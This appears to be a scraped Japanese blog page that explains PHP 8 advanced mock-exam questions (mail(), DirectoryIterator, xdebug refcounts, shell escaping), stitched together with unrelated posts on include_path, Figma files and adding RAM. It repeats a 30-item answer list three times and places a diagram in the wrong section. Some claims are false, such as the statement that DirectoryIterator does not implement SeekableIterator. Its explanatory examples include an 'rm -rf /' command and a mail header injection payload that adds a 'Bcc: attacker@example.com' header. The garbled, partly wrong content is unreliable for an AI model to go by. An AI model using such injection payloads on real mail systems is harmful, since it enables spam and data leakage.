    escapeshellarg($arg)シェル引数をエスケープ'user input'exec(), shell_exec(), system()引数に使う
    escapeshellcmd($cmd)シェルコマンド全体をエスケープls \& rm -rf /コマンド自体をエスケープする

    「どちらを使ってもよい」という説明は 間違い なので注意しましょう! 🚀

    よって問題文は誤り❌です

    escapeshellcmd($cmd)はクォート文字("')は一部スルーさえれるため、コマンドインジェクション対策では escapeshellarg() が推奨

    mail() 関数 メール送信処理 additional_headers ヘッダ情報 不正なデータ ヘッダインジェクション X-test: test X-test2: test Bcc: attacker@example.com 対策: ヘッダインジェクションを防ぐ str_replace([“\r”, “\n”], ”, $value) filter_var($value, FILTER_SANITIZE_STRING) mb_send_mail() を使用 不正な改行を取り除くことで、ヘッダインジェクションを防止できる

    「システムコールとライブラリ関数を規定した POSIX.1 (IEEE Std 1003.1)」標準ドキュメントで 定義された関数へのインターフェイスが提供されている、POSIX 関数がある。

    デフォルトで有効になっているが、Windows 環境では利用できないので注意が必要である。

    現在のプロセスのグループ ID を返す posix_getpgrp()、 現在のプロセス ID を返す posix_getpid()、 親プロセスの ID を返す posix_getppid()、 プロセス時間を得る posix_times() などがある。

    そのため、以下のコード

    var_dump( posix_getpgrp() );
    var_dump( posix_getpid() );
    var_dump( posix_getppid() );
    var_dump( posix_times() );

    を実行すると、結果は次のとおりとなる。(プロセスID、時間のため、値は実行毎に変わる)

    int(694)
    int(694)
    int(523)
    array(5) {
    ["ticks"]=>
    int(1358853909)
    ["utime"]=>
    int(0)
    ["stime"]=>
    int(0)
    ["cutime"]=>
    int(0)
    ["cstime"]=>
    int(0)
    }

    この説明に誤りはありません。内容は⭕です

    プロセスに働きかける関数として、proc_nice() 関数や posix_kill() 関数がある。

    proc_nice() は自プロセスの優先度を変更し、posix_kill() は指定したプロセスにシグナルを送信する。

    シグナル SIGKILL は「プロセスの強制終了」なので、SIGKILL を送信されたプログラムはそこで実行を停止する。

    そのため、以下のコード

    var_dump( trim(`nice`) );
    proc_nice(10);
    var_dump( trim(`nice`) );
    
    posix_kill(posix_getpid(), SIGKILL);
    echo 'test', PHP_EOL;

    を実行すると、結果は次のとおりとなる。

    string(1) “0”
    string(2) “10”
    Killed

    よって選択肢の内容は正しい⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    【php8上級/準上級試験】模擬問題解説 問題23.mail()

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 23

    関数 に関する説明の中で、誤っているものを1つ選びなさい。
    なお「\」はバックスラッシュに読み替えること。
    また、すべてのコードには下記のコードが適切な箇所に書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);
    下記はマニュアルから一部引用した内容である。

    mail ( string $to , string $subject , string $message , array|string $additional_headers = [] , string $additional_params = “” ) : bool
    random_bytes ( int $length ) : string
    random_int ( int $min , int $max ) : int

    mail() 関数は、メールを送る事ができる。

    subject と message (本文) に日本語などを用いる場合は、例えば subject であれば RFC 2047 の仕様を満たす必要があるため、適切な処理が必要になる。

    その場合は mb_send_mail() 関数を使う事で、ヘッダと本文が mb_language() の設定に基づき変換、エンコードされる。

    そのため、以下のコード

    を実行すると

    $r = mb_send_mail('php-exam@example.com', '日本語タイトル', 'mail本文');
    var_dump($r);

    bool(true)
    となり、同時にメールが送られる。

    送られたメールの本文とそれに関連するヘッダは次のとおりとなる。

    Subject: 日本語タイトル
    Content-Type: text/plain; charset=UTF-8
    Content-Transfer-Encoding: BASE64

    bWFpbOacrOaWhw==

    問題文の内容は正しい⭕です

    mail() 関数は、メールを送る事ができる。

    第四引数の additional_headers には「追加のヘッダ」の情報が入る。

    そのため、以下のコード

    $external_value = "test \r\ninjection_header: hoge"; // 外部からのデータを仮定
    
    // additional_headersの組み立て
    $headers = [];
    $headers[] = "X-test: test";
    $headers[] = "X-test2: {$external_value}";
    
    $r = mail('php-exam@example.com', 'subject', 'mail body', implode("\r\n", $headers));
    var_dump($r);

    を実行すると、結果は次のとおりとなる。

    bool(true)
    となり、同時にメールが送られる。

    送られたメールの本文とそれに関連するヘッダは次のとおりとなる。

    X-test: test
    X-test2: test injection_header: hoge

    ⚠️ 問題点(メールヘッダインジェクション)

    外部から受け取る可能性のあるデータ($external_value)をそのままヘッダに追加しているため、 メールヘッダインジェクション のリスクがあります。
    例えば、悪意のあるユーザーが $external_value に以下のようなデータを送ると、新しいヘッダやBCCが追加されてしまう可能性があります。

    mail() 関数 メール送信処理 additional_headers ヘッダ情報 不正なデータ ヘッダインジェクション X-test: test X-test2: test Bcc: attacker@example.com 対策: ヘッダインジェクションを防ぐ str_replace([“\r”, “\n”], ”, $value) filter_var($value, FILTER_SANITIZE_STRING) mb_send_mail() を使用 不正な改行を取り除くことで、ヘッダインジェクションを防止できる

    よって問題文は誤り❌です

    random_bytes() 関数は、暗号論的に安全な、疑似ランダムなバイト列を生成する事ができる。

    この関数が返す値はバイナリであるため、使う場合には bin2hex() 関数や base64_encode() 関数を合わせて使う事が多い。

    そのため、以下のコード

    $s = random_bytes(16);
    var_dump( bin2hex($s) );
    var_dump( base64_encode($s) );

    を実行すると、結果は次のような表記となる。(乱数の値は実行毎に変わる)

    string(32) “9338779e0f8a377bcac56f0b7e299a03”
    string(24) “kzh3ng+KN3vKxW8LfimaAw==”

    この説明に誤りはありません。内容は⭕です

    random_int() 関数は、暗号論的に安全な、疑似ランダムな整数を生成する事ができる。

    min は PHP_INT_MIN 以上、max は PHP_INT_MAX 以下である必要がある。

    そのため、以下のコード

    random_int(PHP_INT_MIN, PHP_INT_MAX + 1);

    を実行すると

    を実行すると、結果は次のとおりとなる。

    Fatal error: Uncaught TypeError: random_int(): Argument #2 ($max) must be of type int, float given in …

    よって選択肢の内容は正しい⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    PHPの include_path とは?

    include_path の役割

    通常、include や require を使うときにファイルのフルパスを指定しなくても、include_path に設定されたディレクトリの中から該当するファイルを検索して自動的に読み込めます。

    例えば、以下のような include を実行した場合:

    include 'config.php';

    config.php が現在のスクリプトのディレクトリに存在すれば、そのまま読み込まれる。存在しない場合、include_path に設定されたディレクトリの中から探される。どこにも見つからなければエラーが発生。

    PHPのinclude_pathの役割 index.php include ‘config.php’; ファイル検索プロセス ステップ1: 現在のディレクトリ ステップ2: include_path (ディレクトリ1) ステップ3: include_path (ディレクトリ2) 成功: ファイルが見つかった 成功: ファイルが見つかった 失敗: エラー発生 include_path = “.:/usr/share/php:/var/www/lib” (php.iniで設定可能なパスのリスト)

    include_path の設定方法

    1. php.ini で設定
      サーバー全体の設定を変更したい場合は、php.ini を編集します。
    include_path = ".:/usr/local/lib/php"
    1. .htaccess で設定(Apache 環境)
      Apache の .htaccess ファイルでも include_path を設定できます。
    php_value include_path ".:/path/to/libs:/path/to/config"

    include_path の確認

    現在の include_path を確認するには、以下の方法があります。

    phpinfo() で確認

    PHP の設定を一覧表示する phpinfo() を実行すると、include_path の設定が確認できます。

    phpinfo();

    get_include_path() を使う

    PHP スクリプト内で直接 include_path を取得できます。

    echo get_include_path();

    include_path の注意点

    ファイルの衝突に注意
    複数のディレクトリに同じ名前のファイルがある場合、PHP は最初に見つかったものを読み込むため、意図しないファイルを include してしまう可能性があります。

    セキュリティリスク
    include_path に書き込み可能なディレクトリを設定すると、意図しないファイルを実行される可能性があるため、慎重に設定する必要があります。

    パフォーマンスへの影響
    include するたびに PHP は include_path のすべてのディレクトリを検索するため、大量のディレクトリを設定するとパフォーマンスが低下する可能性があります。

    Figmaデザインファイルの正しいインポート方法 – PDFと.figの違い

    PDFをFigmaにインポートすると、以下のような問題が発生します:

    • レイヤー構造が失われる
    • フォントが正確に再現されない
    • ベクター要素が適切に変換されない
    • スタイル情報が失われる
    PDFとFigmaファイル形式の比較 PDF 表示用フォーマット ⚠ レイヤー構造なし .fig Figmaネイティブ形式 ✓ 完全なレイヤー構造 インポート失敗 インポート成功 F 先方に.fig形式でのデータ共有を依頼しましょう

    正しい解決策

    解決策は非常にシンプルです。クライアントに PDF形式ではなく、Figmaのネイティブ形式である.fig形式 でファイルを共有してもらうことです。

    .fig形式のファイルには以下のような利点があります:

    • 完全なレイヤー構造が保持される
    • すべてのスタイリング情報が保持される
    • コンポーネントや変数などの高度な機能も維持される
    • 編集可能な状態でインポートできる

    クライアントへの依頼方法

    クライアントにファイル形式の変更をお願いする際は、以下のような文面が効果的です:

    お送りいただいたZIPファイル内のPDFデータをFigmaにインポートしましたが、一部デザインが崩れて正確に表示されておりません。Figmaのネイティブファイル形式(.fig)でデータを共有していただければ、正確にデザインを再現できますので、可能であればご対応いただけますでしょうか。

    その他の選択肢

    .figファイルの他にも、クライアントから直接Figmaの共有リンクをもらう方法もあります。これは最も簡単で確実な方法で、クライアントがFigmaで「共有」ボタンをクリックし、閲覧・編集権限付きのリンクを送ってもらうだけです。

    まとめ

    Webデザイン・開発プロジェクトでは、正しいファイル形式でデータをやり取りすることが非常に重要です。PDFはプレゼンテーションや最終確認用には適していますが、編集作業には適していません。Figmaで作業する場合は、.fig形式またはFigmaの共有リンクを使用することで、デザインの正確な再現と効率的な作業が可能になります。

    この経験が、同じような状況に直面している方々のお役に立てば幸いです。デザインデータのやり取りは、プロジェクトのスムーズな進行に大きく影響しますので、最初に正しい形式を確認しておくことをお勧めします。

    【php8上級/準上級試験】模擬問題解説 問題22. Directory DirectoryIterator SeekableIterator

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 22

    関数 に関する説明の中で、誤っているものを1つ選びなさい。
    なお「\」はバックスラッシュに読み替えること。
    また、すべてのコードには下記のコードが適切な箇所に書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);
    下記はマニュアルから一部引用した内容である。

    Directory クラスのインスタンスを作るには dir() 関数を使います。new 演算子は使いません。

    chdir ( string $directory ) : bool
    getcwd ( ) : string
    
    DirectoryIterator extends SplFileInfo implements SeekableIterator {
    public DirectoryIterator::__construct ( string $path )
    
    RecursiveDirectoryIterator extends FilesystemIterator implements SeekableIterator , RecursiveIterator {
    
    RecursiveIteratorIterator implements OuterIterator {
    public RecursiveIteratorIterator::__construct ( Traversable $iterator , int $mode = RecursiveIteratorIterator::LEAVES_ONLY , int $flags = 0 )
    
    SeekableIterator extends Iterator {
    RecursiveIterator extends Iterator {
    Iterator extends Traversable {

    Directory クラスは、ディレクトリ内を走査するためのクラスである。

    そのため、以下のコード

    $dir_obj = dir(__DIR__);
    var_dump($dir_obj);
    
    while (false !== ($entry = $dir_obj->read())) {
       echo $entry, PHP_EOL;
    }
    $dir_obj->close();
    を実行すると、結果は次のとおりとなる。
    
    object(Directory)#1 (2) {
      ["path"]=>
      string(10) "/home/php_exam"
      ["handle"]=>
      resource(5) of type (stream)
    }
    .
    ..
    .cache
    .config
    (以下略)

    Directory クラスは、ディレクトリの内容を反復処理するための 組み込みクラス です。

    read() は 1回の呼び出しごとに1つのエントリを取得 し、エントリがなくなると false を返すため、while ループが終了します。

    問題文の内容は正しい⭕です

    chdir() 関数はカレントディレクトリを変更する。また getcwd() 関数はカレントのワーキングディレクトリを取得する。

    そのため、以下のコード

    var_dump(getcwd());
    chdir('../');
    var_dump(getcwd());

    を実行すると、結果は次のとおりとなる。

    string(14) “/home/php_exam”
    string(5) “/home”

    $x = “hello”; refcount=1, is_ref=0 $y = &$x; refcount=2, is_ref=1

    この説明に誤りはありません。内容は⭕です

    DirectoryIterator クラスは、ファイルシステムのディレクトリを閲覧するためのシンプルなインターフェイスを提供する。

    SeekableIteratorを実装しているため foreach などが使える。

    また DirectoryIterator が SplFileInfo を継承しているため、ファイルの情報に纏わるメソッドなどを一通り使う事ができる。

    また SplFileInfo クラスには __toString() が実装されているため、ファイルへのパスを文字列で返すことが出来る。

    そのため、以下のコード

    // 現在のディレクトリを走査
    foreach (new DirectoryIterator(__DIR__) as $file) {
        if($file->isDot()) {
            continue;
        }
    
        echo $file, PHP_EOL;
    
        if ($file->isDir()) {
            // DirectoryIteratorのインスタンスを使って1階層深いディレクトリを走査
            foreach (new DirectoryIterator($file) as $file2) {
                if($file2->isDot()) continue;
                echo "\t{$file2}", PHP_EOL;;
            }
        }
    }

    を実行すると、結果は次のとおりとなる。

    .cache
    .config
    .bashrc
    Beginner
        sample
        src
    Advanced
        sample
        src
    (以下略)

    のような表記となり、ディレクトリ階層を 1 段深くまで処理する事ができる。

    DirectoryIterator と SeekableIterator

    DirectoryIterator は SeekableIterator を 実装していません。

    項目内容補足・修正点
    DirectoryIteratorSeekableIteratorDirectoryIteratorSeekableIterator実装していないDirectoryIteratorIterator を実装
    SplFileInfo の継承関係DirectoryIteratorSplFileInfo を継承getSize(), getMTime(), isDir() などが利用可能
    SplFileInfo::__toString()ファイル名のみ を返すフルパスを取得するには getPathname() を使用
    new DirectoryIterator($file)$file->getPathname() を渡すべきDirectoryIterator は文字列のパスを受け取る
    出力結果の整形"\t" によるインデントOS によってタブの扱いが異なる可能性あり

    よって問題文は誤り❌です

    RecursiveDirectoryIterator は、ファイルシステムのディレクトリを再帰的に反復処理するためのインターフェイスである。

    ただしこのクラス単体では再帰的な反復処理はできず、RecursiveIteratorIterator クラスを合わせて使う必要がある。

    そのため、以下のコード

    $directorys = new \RecursiveDirectoryIterator(__DIR__);
    $iterator = new \RecursiveIteratorIterator($directorys);
    foreach($iterator as $file) {
        echo $file, PHP_EOL;
    }

    を実行すると

    /home/php_exam/.cache
    /home/php_exam/.config
    /home/php_exam/.bashrc
    /home/php_exam/Beginner
    /home/php_exam/Beginner/sample
    /home/php_exam/Beginner/src
    /home/php_exam/Beginner/src/1.php
    /home/php_exam/Beginner/src/2.php
    (略)
    /home/php_exam/Advanced
    /home/php_exam/Advanced/sample
    /home/php_exam/Advanced/src
    (以下略)

    のような表記となり、再帰的にファイルを処理する事ができる。

    よって選択肢の内容は正しい⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    デスクトップPCのメモリ増設方法【初心者向けガイド】

    PCの動作が重くなってきたと感じたら、メモリの増設を検討してみましょう。メモリを増設することで、アプリの起動が速くなり、複数のアプリを同時に快適に動かせるようになります。本記事では、デスクトップPCのメモリ増設方法を初心者向けに解説します。


    1. メモリ増設のメリット

    メモリを増設すると、以下のような効果が期待できます。

    • 動作が軽くなる:メモリ不足によるカクつきやフリーズを軽減
    • マルチタスクが快適:複数のアプリを同時に開いてもスムーズに動作
    • ソフトのパフォーマンス向上:動画編集やゲームなどの負荷がかかる作業も快適に

    2. 事前準備(対応メモリの確認)

    メモリを増設する前に、以下の点を確認しましょう。

    ① PCの仕様を確認

    • 現在のメモリ容量(例:8GB)
    • メモリの最大搭載可能容量(例:16GB)
    • 使用できるメモリ規格(例:DDR4-3200)
    • 空きスロットの有無

    確認方法:

    • Windowsの場合:「タスクマネージャー」→「パフォーマンス」→「メモリ」
    • メーカー公式サイトやマニュアルでも確認可能

    ② 増設するメモリを選ぶ

    • 既存のメモリと同じ規格のものを選ぶ
    • メモリの動作周波数(MHz)が合っているか確認
    • 信頼できるメーカー(Crucial, Kingston, Corsair など) の製品を選ぶ

    3. メモリ増設の手順

    ① PCの電源を切り、ケースを開ける

    1. PCの電源をオフにし、コンセントを抜く
    2. PCケースのサイドパネルをドライバーで開ける
    3. 金属部分(電源ユニットなど)を触って静電気を逃がす

    ② メモリを取り付ける

    1. メモリスロットを確認(マザーボード上の細長いスロット)
    2. 既存メモリの配置をチェック
    3. 新しいメモリをスロットに差し込む
      • 両端のツメを開く
      • メモリをまっすぐ押し込む(カチッと音がするまで)
      • ツメがしっかり固定されているか確認

    ③ PCを起動し、認識を確認

    1. ケースを閉じて、電源を接続し、PCを起動
    2. 「タスクマネージャー」→「パフォーマンス」→「メモリ」 で認識されているか確認

    もし認識されていない場合:

    • メモリがしっかり挿さっているか確認
    • メモリのスロットを変更してみる
    • BIOS(UEFI)で認識されているか確認

    4. まとめ

    メモリの増設は、PCのパフォーマンスを向上させる簡単な方法の一つです。適切なメモリを選び、手順通りに作業すれば、初心者でもスムーズに取り付けられます。

    事前にPCの対応メモリを確認
    静電気対策を忘れずに
    しっかりとスロットに挿し込む

    メモリ増設で、快適なPC環境を手に入れましょう!

    【php8上級/準上級試験】模擬問題解説 問題21. ガベージコレクション xdebug_debug_zval()

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 21

    PHP のメモリ消費 に関する説明の中で、誤っているものを1つ選びなさい。
    また、すべてのコードには下記のコードが適切な箇所に書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);

    PHP では、「プログラムが動的に確保したメモリ領域のうち、不要になった領域を自動的に解放する」いわゆるガベージコレクションが機能として存在する。

    PHP のガベージコレクションは「参照カウント法」という方式で管理されている。

    参照された数は、Xdebug がインストール済みであれば xdebug_debug_zval() 関数によって得る事ができる。

    そのため、以下のコード

    $obj = new stdClass();
    xdebug_debug_zval('obj');
    
    $obj2 = $obj;
    xdebug_debug_zval('obj');
    
    xdebug_debug_zval('obj2');
    
    unset($obj);
    xdebug_debug_zval('obj2');

    を実行すると、結果は次のとおりとなる。

    obj: (refcount=1, is_ref=0)=class stdClass {  }
    obj: (refcount=2, is_ref=0)=class stdClass {  }
    obj2: (refcount=2, is_ref=0)=class stdClass {  }
    obj2: (refcount=1, is_ref=0)=class stdClass {  }

    PHPには、不要になったメモリ領域を自動的に解放するガベージコレクションの機能が存在します。

    PHPのガベージコレクション 変数($obj)とオブジェクト(実体)の違い 1. $obj = new stdClass(); $obj (変数) オブジェクト (実体) 1 参照カウント 2. $obj2 = $obj; $obj $obj2 オブジェクト 2 参照カウント 3. unset($obj); $obj オブジェクト $obj2 1 参照カウント 4. unset($obj2); $obj2 メモリ解放 0 参照カウント 参照カウント=0になると自動的にメモリが解放される

    問題文の内容は正しい⭕です

    PHP の変数で、参照された数は、Xdebug がインストール済みであれば xdebug_debug_zval() 関数によって得る事ができる。

    しかし int や string などの型の変数は、代入演算子 = によって「元の変数を新しい変数にコピーする (値による代入)」ために、通常の代入では refcount は増えない。

    一方で参照による代入 & をすると refcount が増える。

    そのため、以下のコード

    $i = 1;
    xdebug_debug_zval('i');
    
    $i2 = $i;
    xdebug_debug_zval('i');
    
    $i3 = &$i;
    xdebug_debug_zval('i');

    を実行すると、結果は次のとおりとなる。

    i: (refcount=0, is_ref=0)=1
    i: (refcount=0, is_ref=0)=1
    i: (refcount=2, is_ref=1)=1

    xdebug_debug_zval() について

